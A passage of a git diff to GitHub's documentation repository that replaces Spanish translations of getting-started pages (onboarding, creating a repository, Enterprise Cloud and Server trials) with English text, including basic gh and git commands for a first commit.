contributions](/communities/setting-up-your-project-for-healthy-contributions)." {% endif %} -### 6. Utilizar las propuestas y tableros de proyecto de GitHub -Puedes utilizar las propuestas de GiHub para organizar tu trabajo con las propuestas y solicitudes de trabajo y administrar tu flujo de trabajo con tableros de proyecto. Para obtener más información, consulta las secciones "[Acerca de las propuestas](/issues/tracking-your-work-with-issues/about-issues)" y [Acerca de los tableros de proyecto](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards)". +### 6. Using GitHub Issues and project boards +You can use GitHub Issues to organize your work with issues and pull requests and manage your workflow with project boards. For more information, see "[About issues](/issues/tracking-your-work-with-issues/about-issues)" and "[About project boards](/issues/organizing-your-work-with-project-boards/managing-project-boards/about-project-boards)." -### 7. Administrar notificaciones -Las notificaciones proporcionan actualizaciones sobre la actividad en {% data variables.product.prodname_dotcom %} a la cual estás suscrito o en la cual participas. Si ya no te interesa alguna conversación, te puedes dar de baja, dejar de seguir o personalizar los tipos de notificaciones que recibirás en el futuro. Para obtener más información, consulta la sección "[Acerca de las notificaciones](/github/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications)". +### 7. Managing notifications +Notifications provide updates about the activity on {% data variables.product.prodname_dotcom %} you've subscribed to or participated in. If you're no longer interested in a conversation, you can unsubscribe, unwatch, or customize the types of notifications you'll receive in the future. For more information, see "[About notifications](/github/managing-subscriptions-and-notifications-on-github/setting-up-notifications/about-notifications)." -### 8. Trabajar con {% data variables.product.prodname_pages %} -You can use {% data variables.product.prodname_pages %} to create and host a website directly from a repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. Para obtener más información, consulta la sección "[Acerca de {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages)". +### 8. Working with {% data variables.product.prodname_pages %} +You can use {% data variables.product.prodname_pages %} to create and host a website directly from a repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. For more information, see "[About {% data variables.product.prodname_pages %}](/pages/getting-started-with-github-pages/about-github-pages)." {% ifversion fpt or ghec %} -### 9. Uso de {% data variables.product.prodname_discussions %} -Puedes habilitar los {% data variables.product.prodname_discussions %} en tu repositorio para ayudar a crear una comunidad al rededor de tu proyecto. Los mantenedores, contribuyentes y visitantes pueden utilizar los debates para compartir anuncios, hacer y responder preguntas y participar en conversaciones sobre las metas. Para obtener más información, consulta la sección "[Acerca de los debates](/discussions/collaborating-with-your-community-using-discussions/about-discussions)". +### 9. Using {% data variables.product.prodname_discussions %} +You can enable {% data variables.product.prodname_discussions %} for your repository to help build a community around your project. Maintainers, contributors and visitors can use discussions to share announcements, ask and answer questions, and participate in conversations around goals. For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)." {% endif %} -## Parte 4: Personalizar y automatizar tu trabajo en {% data variables.product.product_name %} +## Part 4: Customizing and automating your work on {% data variables.product.product_name %} {% data reusables.getting-started.customizing-and-automating %} {% ifversion fpt or ghec %} -### 1. Uso de {% data variables.product.prodname_marketplace %} +### 1. Using {% data variables.product.prodname_marketplace %} {% data reusables.getting-started.marketplace %} {% endif %} ### {% ifversion fpt or ghec %}2.{% else %}1.{% endif %} Using the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API {% data reusables.getting-started.api %} -### {% ifversion fpt or ghec %}3.{% else %}2.{% endif %} Crear {% data variables.product.prodname_actions %} +### {% ifversion fpt or ghec %}3.{% else %}2.{% endif %} Building {% data variables.product.prodname_actions %} {% data reusables.getting-started.actions %} -### {% ifversion fpt or ghec %}4.{% else %}3.{% endif %} Publicar y administrar el {% data variables.product.prodname_registry %} +### {% ifversion fpt or ghec %}4.{% else %}3.{% endif %} Publishing and managing {% data variables.product.prodname_registry %} {% data reusables.getting-started.packages %} -## Parte 5: Compilar de forma segura en {% data variables.product.product_name %} -{% data variables.product.product_name %} tiene características de seguridad diversas que ayudan a mantener la seguridad del código y de los secretos en los repositorios. Algunas de las características se encuentran disponibles para todos los repositorios, mientras que otras solo están disponibles para los repositorios públicos o para aquellos con una licencia de {% data variables.product.prodname_GH_advanced_security %}. Para ver un resumen de las características de seguridad de {% data variables.product.product_name %}, consulta la sección "[características de seguridad de {% data variables.product.prodname_dotcom %}](/code-security/getting-started/github-security-features)". +## Part 5: Building securely on {% data variables.product.product_name %} +{% data variables.product.product_name %} has a variety of security features that help keep code and secrets secure in repositories. Some features are available for all repositories, while others are only available for public repositories and repositories with a {% data variables.product.prodname_GH_advanced_security %} license. For an overview of {% data variables.product.product_name %} security features, see "[{% data variables.product.prodname_dotcom %} security features](/code-security/getting-started/github-security-features)." -### 1. Asegurar tu repositorio -Como administrador de un repositorio, puedes proteger tus repositorios si configuras los ajustes de seguridad de estos. Estos incluyen el administrar el acceso a tu repositorio, configurar una política de seguridad y administrar las dependencias. Para los repositorios públicos y para los privados que pertenezcan a las organizaciones en donde se haya habilitado la {% data variables.product.prodname_GH_advanced_security %}, también puedes configurar el escaneo de código y de secretos para que identifiquen las vulnerabilidades automáticamente y garanticen que los tokens y las llaves no se expongan. +### 1. Securing your repository +As a repository administrator, you can secure your repositories by configuring repository security settings. These include managing access to your repository, setting a security policy, and managing dependencies. For public repositories, and for private repositories owned by organizations where {% data variables.product.prodname_GH_advanced_security %} is enabled, you can also configure code and secret scanning to automatically identify vulnerabilities and ensure tokens and keys are not exposed. -Para obtener más información sobre los pasos que debes tomar para proteger tus repositorios, consulta la sección "[Proteger tu repositorio](/code-security/getting-started/securing-your-repository)". +For more information on steps you can take to secure your repositories, see "[Securing your repository](/code-security/getting-started/securing-your-repository)." {% ifversion fpt or ghec %} -### 2. Administrar tus dependencias -Una parte grande de compilar de forma segura es mantener las dependencias de tu proyecto para asegurarte de que todos los paquetes y aplicaciones de las cuales dependes estén actualizadas y seguras. Puedes administrar las dependencias de tu repositorio en {% data variables.product.product_name %} si exploras la gráfica de dependencias para este utilizando el Dependabot para levantar solicitudes de cambio automáticamente para mantener tus dependencias actualizadas y recibiendo alertas del Dependabot y actualizaciones de seguridad para las dependencias vulnerables. +### 2. Managing your dependencies +A large part of building securely is maintaining your project's dependencies to ensure that all packages and applications you depend on are updated and secure. You can manage your repository's dependencies on {% data variables.product.product_name %} by exploring the dependency graph for your repository, using Dependabot to automatically raise pull requests to keep your dependencies up-to-date, and receiving Dependabot alerts and security updates for vulnerable dependencies. -Para obtener más información, consulta la sección "[Proteger tu cadena de suministro de software](/code-security/supply-chain-security)". +For more information, see "[Securing your software supply chain](/code-security/supply-chain-security)." {% endif %} -## Parte 6: Participar en la comunidad de {% data variables.product.prodname_dotcom %} +## Part 6: Participating in {% data variables.product.prodname_dotcom %}'s community {% data reusables.getting-started.participating-in-community %} -### 1. Contribuir con proyectos de código abierto +### 1. Contributing to open source projects {% data reusables.getting-started.open-source-projects %} -### 2. Interactuar con {% data variables.product.prodname_gcf %} +### 2. Interacting with {% data variables.product.prodname_gcf %} {% data reusables.support.ask-and-answer-forum %} -### 3. Aprender con {% data variables.product.prodname_learning %} +### 3. Learning with {% data variables.product.prodname_learning %} {% data reusables.getting-started.learning-lab %} {% ifversion fpt or ghec %} -### 4. Apoyar a la comunidad de código abierto +### 4. Supporting the open source community {% data reusables.getting-started.sponsors %} -### 5. Comunicarse con {% data variables.contact.github_support %} +### 5. Contacting {% data variables.contact.github_support %} {% data reusables.getting-started.contact-support %} {% ifversion fpt %} -## Leer más -- "[Iniciar con {% data variables.product.prodname_team %}](/get-started/onboarding/getting-started-with-github-team)" +## Further reading +- "[Getting started with {% data variables.product.prodname_team %}](/get-started/onboarding/getting-started-with-github-team)" {% endif %} {% endif %} diff --git a/translations/es-ES/content/get-started/quickstart/create-a-repo.md b/translations/es-ES/content/get-started/quickstart/create-a-repo.md index 0758e0a1dc..56c2e95fd0 100644 --- a/translations/es-ES/content/get-started/quickstart/create-a-repo.md +++ b/translations/es-ES/content/get-started/quickstart/create-a-repo.md @@ -1,11 +1,11 @@ --- -title: Crear un repositorio +title: Create a repo redirect_from: - /create-a-repo/ - /articles/create-a-repo - /github/getting-started-with-github/create-a-repo - /github/getting-started-with-github/quickstart/create-a-repo -intro: 'Para subir tu proyecto a {% data variables.product.prodname_dotcom %}, deberás crear un repositorio donde alojarlo.' +intro: 'To put your project up on {% data variables.product.prodname_dotcom %}, you''ll need to create a repository for it to live in.' versions: fpt: '*' ghes: '*' @@ -17,16 +17,15 @@ topics: - Notifications - Accounts --- - -## Crear un repositorio +## Create a repository {% ifversion fpt or ghec %} -Puedes almacenar distintos proyectos en los repositorios de {% data variables.product.prodname_dotcom %}, incluso proyectos de código abierto. Con [proyectos de código abierto](http://opensource.org/about), puedes compartir el código para hacer que el software funcione mejor y sea más confiable. Puedes utilizar los repositorios para colaborar con otros y rastrear tu trabajo. Para obtener más información, consulta la sección "[Acerca de los repositorios](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/about-repositories)". +You can store a variety of projects in {% data variables.product.prodname_dotcom %} repositories, including open source projects. With [open source projects](http://opensource.org/about), you can share code to make better, more reliable software. You can use repositories to collaborate with others and track your work. For more information, see "[About repositories](/github/creating-cloning-and-archiving-repositories/creating-a-repository-on-github/about-repositories)." {% elsif ghes or ghae %} -Puedes almacenar varios proyectos en los repositorios de {% data variables.product.product_name %}, incluyendo los proyectos de innersource. Con innersource, puedes compartir el código para hacer software mejor y más confiable. Para obtener más información sobre innersource, consulta la documentación técnica de {% data variables.product.company_short %}"[Una introducción a innersource](https://resources.github.com/whitepapers/introduction-to-innersource/)". +You can store a variety of projects in {% data variables.product.product_name %} repositories, including innersource projects. With innersource, you can share code to make better, more reliable software. For more information on innersource, see {% data variables.product.company_short %}'s white paper "[An introduction to innersource](https://resources.github.com/whitepapers/introduction-to-innersource/)." {% endif %} @@ -34,7 +33,7 @@ Puedes almacenar varios proyectos en los repositorios de {% data variables.produ {% note %} -**Nota:** Puedes crear repositorios públicos para un proyecto de código abierto. Cuando crees un repositorio público, asegúrate de incluir un [archivo de licencia](https://choosealicense.com/) que determine cómo deseas que se comparta tu proyecto con otros usuarios. {% data reusables.open-source.open-source-guide-repositories %}{% data reusables.open-source.open-source-learning-lab %} +**Note:** You can create public repositories for an open source project. When creating your public repository, make sure to include a [license file](https://choosealicense.com/) that determines how you want your project to be shared with others. {% data reusables.open-source.open-source-guide-repositories %} {% data reusables.open-source.open-source-learning-lab %} {% endnote %} @@ -45,13 +44,15 @@ Puedes almacenar varios proyectos en los repositorios de {% data variables.produ {% webui %} {% data reusables.repositories.create_new %} -2. Escribe un nombre corto y fácil de recordar para tu repositorio. Por ejemplo: "hola-mundo". ![Campo para ingresar un nombre para el repositorio](/assets/images/help/repository/create-repository-name.png) -3. También puedes agregar una descripción de tu repositorio. Por ejemplo, "Mi primer repositorio en {% data variables.product.product_name %}". ![Campo para ingresar una descripción para el repositorio](/assets/images/help/repository/create-repository-desc.png) +2. Type a short, memorable name for your repository. For example, "hello-world". + ![Field for entering a repository name](/assets/images/help/repository/create-repository-name.png) +3. Optionally, add a description of your repository. For example, "My first repository on {% data variables.product.product_name %}." + ![Field for entering a repository description](/assets/images/help/repository/create-repository-desc.png) {% data reusables.repositories.choose-repo-visibility %} {% data reusables.repositories.initialize-with-readme %} {% data reusables.repositories.create-repo %} -¡Felicitaciones! Has creado correctamente tu primer repositorio y lo has inicializado con un archivo *README*. +Congratulations! You've successfully created your first repository, and initialized it with a *README* file. {% endwebui %} @@ -59,34 +60,33 @@ Puedes almacenar varios proyectos en los repositorios de {% data variables.produ {% data reusables.cli.cli-learn-more %} -1. En la línea de comandos, navega al directorio en donde te gustaría crear un clon local de tu proyecto nuevo. -2. Para crear un repositorio de tu proyecto, utiliza el subcomando `gh repo create`. Reemplaza a `project-name` con el nombre que deseas dar a tu repositorio. Si quieres que tu proyecto pertenezca a una organización en vez de a tu cuenta de usuario, especifica el nombre de la organización y del proyecto con `organization-name/project-name`. - - ```shell - gh repo create project-name - ``` - -3. Sigue los mensajes interactivos. Para clonar el repositorio localmente, confirma que sí cuando se te pregunte si quisieras clonar el directorio remoto del proyecto. Como alternativa, puedes especificar los argumentos para omitir estos mensajes. Para obtener más información sobre los argumentos posibles, consulta [el manual de {% data variables.product.prodname_cli %}](https://cli.github.com/manual/gh_repo_create). +1. In the command line, navigate to the directory where you would like to create a local clone of your new project. +2. To create a repository for your project, use the `gh repo create` subcommand. When prompted, select **Create a new repository on GitHub from scratch** and enter the name of your new project. If you want your project to belong to an organization instead of to your user account, specify the organization name and project name with `organization-name/project-name`. +3. Follow the interactive prompts. To clone the repository locally, confirm yes when asked if you would like to clone the remote project directory. +4. Alternatively, to skip the prompts supply the repository name and a visibility flag (`--public`, `--private`, or `--internal`). For example, `gh repo create project-name --public`. To clone the repository locally, pass the `--clone` flag. For more information about possible arguments, see the [GitHub CLI manual](https://cli.github.com/manual/gh_repo_create). {% endcli %} -## Confirma tu primer cambio +## Commit your first change {% include tool-switcher %} {% webui %} -Una *[confirmación](/articles/github-glossary#commit)* es como una instantánea de todos los archivos de tu proyecto en un momento en particular. +A *[commit](/articles/github-glossary#commit)* is like a snapshot of all the files in your project at a particular point in time. -Cuando creaste tu nuevo repositorio, lo inicializaste con un archivo *README*. Los archivos *README* son un lugar ideal para describir tu proyecto en más detalle o agregar documentación, como la forma en que se debe instalar o usar tu proyecto. El contenido de tu archivo *README* se mostrará automáticamente en la página inicial de tu repositorio. +When you created your new repository, you initialized it with a *README* file. *README* files are a great place to describe your project in more detail, or add some documentation such as how to install or use your project. The contents of your *README* file are automatically shown on the front page of your repository. -Confirmemos un cambio en el archivo *README*. +Let's commit a change to the *README* file. -1. Es la lista de archivos de tu repositorio, haz clic en ***README.md***. ![Archivo README en la lista de archivos](/assets/images/help/repository/create-commit-open-readme.png) -2. En el contenido del archivo, haz clic en {% octicon "pencil" aria-label="The edit icon" %}. -3. En la pestaña **Editar archivo**, escribe alguna información sobre ti. ![Nuevo contenido en el archivo](/assets/images/help/repository/edit-readme-light.png) +1. In your repository's list of files, click ***README.md***. + ![README file in file list](/assets/images/help/repository/create-commit-open-readme.png) +2. Above the file's content, click {% octicon "pencil" aria-label="The edit icon" %}. +3. On the **Edit file** tab, type some information about yourself. + ![New content in file](/assets/images/help/repository/edit-readme-light.png) {% data reusables.files.preview_change %} -5. Revisa los cambios que realizaste en el archivo. Verás el contenido nuevo en verde. ![Vista previa del archivo](/assets/images/help/repository/create-commit-review.png) +5. Review the changes you made to the file. You'll see the new content in green. + ![File preview view](/assets/images/help/repository/create-commit-review.png) {% data reusables.files.write_commit_message %} {% data reusables.files.choose_commit_branch %} {% data reusables.files.propose_file_change %} @@ -95,18 +95,18 @@ Confirmemos un cambio en el archivo *README*. {% cli %} -Ahora que creaste un proyecto, puedes comenzar a confirmar cambios. +Now that you have created a project, you can start committing changes. -Los archivos *README* son un lugar ideal para describir tu proyecto en más detalle o agregar documentación, como la forma en que se debe instalar o usar tu proyecto. El contenido de tu archivo *README* se mostrará automáticamente en la página inicial de tu repositorio. Sigue estos pasos para agregar un archivo *README*. +*README* files are a great place to describe your project in more detail, or add some documentation such as how to install or use your project. The contents of your *README* file are automatically shown on the front page of your repository. Follow these steps to add a *README* file. -1. En la línea de comandos, navega al directorio raíz de tu proyecto nuevo. (Este directorio se creó cuando ejecutas el comando `gh repo create`). -1. Crea un archivo *README* con algo de información sobre el proyecto. +1. In the command line, navigate to the root directory of your new project. (This directory was created when you ran the `gh repo create` command.) +1. Create a *README* file with some information about the project. ```shell echo "info about this project" >> README.md ``` -1. Ingresa `git status`. Verás que tienes un archivo `README.md` sin rastrear. +1. Enter `git status`. You will see that you have an untracked `README.md` file. ```shell $ git status @@ -118,13 +118,13 @@ Los archivos *README* son un lugar ideal para describir tu proyecto en más deta nothing added to commit but untracked files present (use "git add" to track) ``` -1. Prueba y confirma el archivo. +1. Stage and commit the file. ```shell git add README.md && git commit -m "Add README" ``` -1. Sube los cambios a tu rama. +1. Push the changes to your branch. ```shell git push --set-upstream origin HEAD @@ -132,18 +132,18 @@ Los archivos *README* son un lugar ideal para describir tu proyecto en más deta {% endcli %} -## Celebrar +## Celebrate -¡Felicitaciones! Has creado un repositorio, además de un archivo *README*, y has creado tu primera confirmación en {% data variables.product.product_location %}. +Congratulations! You have now created a repository, including a *README* file, and created your first commit on {% data variables.product.product_location %}. {% webui %} -Ahora puedes clonar un repositorio de {% data variables.product.prodname_dotcom %} para crear una copia local en tu computadora. Desde tu repositorio local, puedes confirmar y crear una solicitud de cambios para actualizar los cambios en el repositorio de nivel superior. Para obtener más información, consulta las secciones "[Clonar un repositorio](/github/creating-cloning-and-archiving-repositories/cloning-a-repository)" y "[Configurar Git](/articles/set-up-git)". +You can now clone a {% data variables.product.prodname_dotcom %} repository to create a local copy on your computer. From your local repository you can commit, and create a pull request to update the changes in the upstream repository. For more information, see "[Cloning a repository](/github/creating-cloning-and-archiving-repositories/cloning-a-repository)" and "[Set up Git](/articles/set-up-git)." {% endwebui %} -Puedes encontrar proyectos y repositorios interesantes en {% data variables.product.prodname_dotcom %} y hacerles cambios creando una bifurcación del repositorio. Para obtener más información, consulta la sección "[Bifurcar un repositorio](/articles/fork-a-repo)". +You can find interesting projects and repositories on {% data variables.product.prodname_dotcom %} and make changes to them by creating a fork of the repository. For more information see, "[Fork a repository](/articles/fork-a-repo)." -Cada repositorio en {% data variables.product.prodname_dotcom %} pertenece a una persona u organización. Puedes interactuar con las personas, repositorios y organizaciones conectándote y siguiéndolos en {% data variables.product.prodname_dotcom %}. Para obtener más información, consulta la sección "[Sé sociable ](/articles/be-social)". +Each repository in {% data variables.product.prodname_dotcom %} is owned by a person or an organization. You can interact with the people, repositories, and organizations by connecting and following them on {% data variables.product.prodname_dotcom %}. For more information see "[Be social](/articles/be-social)." {% data reusables.support.connect-in-the-forum-bootcamp %} diff --git a/translations/es-ES/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud.md b/translations/es-ES/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud.md index fde521c7f1..ba8a064edd 100644 --- a/translations/es-ES/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud.md +++ b/translations/es-ES/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud.md @@ -1,6 +1,6 @@ --- -title: Configurar una prueba de la nube de GitHub Enterprise -intro: 'Puedes probar {% data variables.product.prodname_ghe_cloud %} de manera gratuita.' +title: Setting up a trial of GitHub Enterprise Cloud +intro: 'You can try {% data variables.product.prodname_ghe_cloud %} for free.' redirect_from: - /articles/setting-up-a-trial-of-github-enterprise-cloud - /github/getting-started-with-github/setting-up-a-trial-of-github-enterprise-cloud @@ -11,55 +11,58 @@ versions: ghes: '*' topics: - Accounts -shortTitle: Prueba de Entreprise Cloud +shortTitle: Enterprise Cloud trial --- {% data reusables.enterprise.ghec-cta-button %} -## Acerca de {% data variables.product.prodname_ghe_cloud %} +## About {% data variables.product.prodname_ghe_cloud %} {% data reusables.organizations.about-organizations %} -Puedes utilizar organizaciones gratuitamente con {% data variables.product.prodname_free_team %}, las cuales incluyen características limitadas. Para encontrar características adicionales, tales como el inicio de sesión único (SSO) de SAML, el control de accesos para las {% data variables.product.prodname_pages %} y los minutos incluidos de las {% data variables.product.prodname_actions %}, puedes mejorar a {% data variables.product.prodname_ghe_cloud %}. Para encontrar una lista detallada de características disponibles con {% data variables.product.prodname_ghe_cloud %}, consulta nuestra página de [Precios](https://github.com/pricing). +You can use organizations for free with {% data variables.product.prodname_free_team %}, which includes limited features. For additional features, such as SAML single sign-on (SSO), access control for {% data variables.product.prodname_pages %}, and included {% data variables.product.prodname_actions %} minutes, you can upgrade to {% data variables.product.prodname_ghe_cloud %}. For a detailed list of the features available with {% data variables.product.prodname_ghe_cloud %}, see our [Pricing](https://github.com/pricing) page. -{% data reusables.saml.saml-accounts %}Para obtener más información, consulta "Acerca de la administración de identidad y accesos con el inicio de sesión único de SAML". +{% data reusables.saml.saml-accounts %} For more information, see "About identity and access management with SAML single sign-on." {% data reusables.products.which-product-to-use %} -## Acerca de las pruebas de {% data variables.product.prodname_ghe_cloud %} +## About trials of {% data variables.product.prodname_ghe_cloud %} -Puedes configurar un periodo de 14 días para evaluar {% data variables.product.prodname_ghe_cloud %}. No es necesario que proporciones un método de pago durante la prueba a menos que agreges aplicaciones de {% data variables.product.prodname_marketplace %} en tu organización que requieran de un método de pago. Para obtener más información, consulta "Acerca de la facturación para {% data variables.product.prodname_marketplace %}". +You can set up a 14-day trial to evaluate {% data variables.product.prodname_ghe_cloud %}. You do not need to provide a payment method during the trial unless you add {% data variables.product.prodname_marketplace %} apps to your organization that require a payment method. For more information, see "About billing for {% data variables.product.prodname_marketplace %}." -Tu prueba incluye 50 asientos. Si necesitas más plazas para evaluar a {% data variables.product.prodname_ghe_cloud %}, contacta a {% data variables.contact.contact_enterprise_sales %}. Al finalizar la prueba, puedes elegir una cantidad diferente de asientos. +Your trial includes 50 seats. If you need more seats to evaluate {% data variables.product.prodname_ghe_cloud %}, contact {% data variables.contact.contact_enterprise_sales %}. At the end of the trial, you can choose a different number of seats. -También hay pruebas disponibles para {% data variables.product.prodname_ghe_server %}. Para obtener más información, consulta "[Configurar una prueba de {% data variables.product.prodname_ghe_server %}](/articles/setting-up-a-trial-of-github-enterprise-server)". +Trials are also available for {% data variables.product.prodname_ghe_server %}. For more information, see "[Setting up a trial of {% data variables.product.prodname_ghe_server %}](/articles/setting-up-a-trial-of-github-enterprise-server)." -## Configurar tu prueba de {% data variables.product.prodname_ghe_cloud %} +## Setting up your trial of {% data variables.product.prodname_ghe_cloud %} -Antes de probar {% data variables.product.prodname_ghe_cloud %}, debes firmarte en una cuenta de usuario. Si aún no tienes una cuenta de usuario en {% data variables.product.prodname_dotcom_the_website %}, debes crear una. Para obtener más información, consulta "Iniciar sesión para una nueva cuenta de {% data variables.product.prodname_dotcom %}". +Before you can try {% data variables.product.prodname_ghe_cloud %}, you must be signed into a user account. If you don't already have a user account on {% data variables.product.prodname_dotcom_the_website %}, you must create one. For more information, see "Signing up for a new {% data variables.product.prodname_dotcom %} account." -1. Navega a [{% data variables.product.prodname_dotcom %} para empresas](https://github.com/enterprise). -1. Haz clic en **Iniciar una prueba gratuita**. ![Botón de "Comenzar una prueba gratuita"](/assets/images/help/organizations/start-a-free-trial-button.png) -1. Haz clic en **Enterprise Cloud**. ![Botón de "Enterprise Cloud"](/assets/images/help/organizations/enterprise-cloud-trial-option.png) -1. Sigue los mensajes para configurar tu prueba. +1. Navigate to [{% data variables.product.prodname_dotcom %} for enterprises](https://github.com/enterprise). +1. Click **Start a free trial**. + !["Start a free trial" button](/assets/images/help/organizations/start-a-free-trial-button.png) +1. Click **Enterprise Cloud**. + !["Enterprise Cloud" button](/assets/images/help/organizations/enterprise-cloud-trial-option.png) +1. Follow the prompts to configure your trial. -## Explorar {% data variables.product.prodname_ghe_cloud %} +## Exploring {% data variables.product.prodname_ghe_cloud %} -Una vez configurada tu prueba de 15 días, puedes explorar {% data variables.product.prodname_ghe_cloud %} siguiendo la [Guía de incorporación de empresas](https://resources.github.com/enterprise-onboarding/). +After setting up your trial, you can explore {% data variables.product.prodname_ghe_cloud %} by following the [Enterprise Onboarding Guide](https://resources.github.com/enterprise-onboarding/). {% data reusables.products.product-roadmap %} -## Finalizar tu prueba +## Finishing your trial -Puedes comprar {% data variables.product.prodname_enterprise %} o bajar de categoría a {% data variables.product.prodname_team %} en cualquier momento durante tu prueba. +You can buy {% data variables.product.prodname_enterprise %} or downgrade to {% data variables.product.prodname_team %} at any time during your trial. -Si no compras {% data variables.product.prodname_enterprise %} o {% data variables.product.prodname_team %} antes de que termine tu periodo de prueba, tu organización bajará a {% data variables.product.prodname_free_team %} y perderá acceso a cualquier tipo de herramienta o características que solo se incluya en los productos pagados, incluyendo a los sitios de {% data variables.product.prodname_pages %} que se publican desde esos repositorios privados. Si no planeas mejorar tu plan, para evitar perder acceso a estas características avanzadas, haz públicos los repositorios antes de que termine tu periodo de prueba. Para obtener más información, consulta "[Configurar la visibilidad de un repositorio](/articles/setting-repository-visibility)". +If you don't purchase {% data variables.product.prodname_enterprise %} or {% data variables.product.prodname_team %} before your trial ends, your organization will be downgraded to {% data variables.product.prodname_free_team %} and lose access to any advanced tooling and features that are only included with paid products, including {% data variables.product.prodname_pages %} sites published from those private repositories. If you don't plan to upgrade, to avoid losing access to advanced features, make the repositories public before your trial ends. For more information, see "[Setting repository visibility](/articles/setting-repository-visibility)." -El bajar de categoría a {% data variables.product.prodname_free_team %} en organizaciones también inhabilita cualquier configuración de SAML durante el periodo de prueba. Una vez que compras {% data variables.product.prodname_enterprise %} o {% data variables.product.prodname_team %}, tus parámetros de SAML serán activados nuevamente para que los usuarios de tu organización los autentiquen. +Downgrading to {% data variables.product.prodname_free_team %} for organizations also disables any SAML settings configured during the trial period. Once you purchase {% data variables.product.prodname_enterprise %} or {% data variables.product.prodname_team %}, your SAML settings will be enabled again for users in your organization to authenticate. {% data reusables.profile.access_org %} {% data reusables.profile.org_settings %} {% data reusables.organizations.billing_plans %} -5. Debajo de "{% data variables.product.prodname_ghe_cloud %} Free Trial" (Prueba gratis de {% data variables.product.prodname_ghe_cloud %}), haz clic en **Buy Enterprise** (Comprar empresa) o **Downgrade to Team** (Bajar de categoría a equipo). ![Botones Comprar Enterprise y Bajar de categoría a Team](/assets/images/help/organizations/finish-trial-buttons.png) -6. Sigue las indicaciones para ingresar tu método de pago, a continuación haz clic en **Enviar**. +5. Under "{% data variables.product.prodname_ghe_cloud %} Free Trial", click **Buy Enterprise** or **Downgrade to Team**. + ![Buy Enterprise and Downgrade to Team buttons](/assets/images/help/organizations/finish-trial-buttons.png) +6. Follow the prompts to enter your payment method, then click **Submit**. diff --git a/translations/es-ES/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-server.md b/translations/es-ES/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-server.md index 232df31a37..2f786d49a4 100644 --- a/translations/es-ES/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-server.md +++ b/translations/es-ES/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-server.md @@ -1,6 +1,6 @@ --- -title: Configurar una prueba del servidor de GitHub Enterprise -intro: 'Puedes probar {% data variables.product.prodname_ghe_server %} de manera gratuita.' +title: Setting up a trial of GitHub Enterprise Server +intro: 'You can try {% data variables.product.prodname_ghe_server %} for free.' redirect_from: - /articles/requesting-a-trial-of-github-enterprise/ - /articles/setting-up-a-trial-of-github-enterprise-server @@ -12,56 +12,55 @@ versions: ghes: '*' topics: - Accounts -shortTitle: Prueba de Enterprise Server +shortTitle: Enterprise Server trial --- +## About trials of {% data variables.product.prodname_ghe_server %} -## Acerca de las pruebas de {% data variables.product.prodname_ghe_server %} +You can request a 45-day trial to evaluate {% data variables.product.prodname_ghe_server %}. Your trial will be installed as a virtual appliance, with options for on-premises or cloud deployment. For a list of supported visualization platforms, see "[Setting up a GitHub Enterprise Server instance](/enterprise-server@latest/admin/installation/setting-up-a-github-enterprise-server-instance)." -Puedes solicitar una prueba de 45 días para evaluar {% data variables.product.prodname_ghe_server %}. La prueba se instalará a modo de aparato virtual, con opciones para la implementación en el entorno local o en la nube. Para acceder a una lista de plataformas de visualización compatibles, consulta "[Configurar un servidor de GitHub Enterprise](/enterprise-server@latest/admin/installation/setting-up-a-github-enterprise-server-instance)". +{% ifversion ghes %}{% data variables.product.prodname_dependabot %}{% else %}Security{% endif %} alerts and {% data variables.product.prodname_github_connect %} are not currently available in trials of {% data variables.product.prodname_ghe_server %}. For a demonstration of these features, contact {% data variables.contact.contact_enterprise_sales %}. For more information about these features, see "[About alerts for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)" and "[Connecting your enterprise account to {% data variables.product.prodname_ghe_cloud %}](/enterprise-server@latest/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)." -{% ifversion ghes %}Las alertas de{% else %}Seguridad{% endif %} del {% data variables.product.prodname_dependabot %} y de{% data variables.product.prodname_github_connect %} no están actualmente disponibles durante las pruebas de {% data variables.product.prodname_ghe_server %}. Para obtener una demostración de estas características, contacta a {% data variables.contact.contact_enterprise_sales %}. Para obtener más información acerca de estas características, consulta las secciones "[Acerca de las alertas para las dependencias vulnerables](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)" y "[Conectar tu cuenta empresarial a {% data variables.product.prodname_ghe_cloud %}](/enterprise-server@latest/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)". - -También hay pruebas disponibles para {% data variables.product.prodname_ghe_cloud %}. Para obtener más información, consulta "[Configurar una prueba de {% data variables.product.prodname_ghe_cloud %}](/articles/setting-up-a-trial-of-github-enterprise-cloud)". +Trials are also available for {% data variables.product.prodname_ghe_cloud %}. For more information, see "[Setting up a trial of {% data variables.product.prodname_ghe_cloud %}](/articles/setting-up-a-trial-of-github-enterprise-cloud)." {% data reusables.products.which-product-to-use %} -## Configurar tu prueba de {% data variables.product.prodname_ghe_server %} +## Setting up your trial of {% data variables.product.prodname_ghe_server %} -{% data variables.product.prodname_ghe_server %} está instalado como aparato virtual. Determina la mejor persona de tu organización para configurar una máquina virtual y pídele que envíe una [solicitud de prueba](https://enterprise.github.com/trial). Puedes comenzar tu prueba de forma inmediata después de enviar una solicitud. +{% data variables.product.prodname_ghe_server %} is installed as a virtual appliance. Determine the best person in your organization to set up a virtual machine, and ask that person to submit a [trial 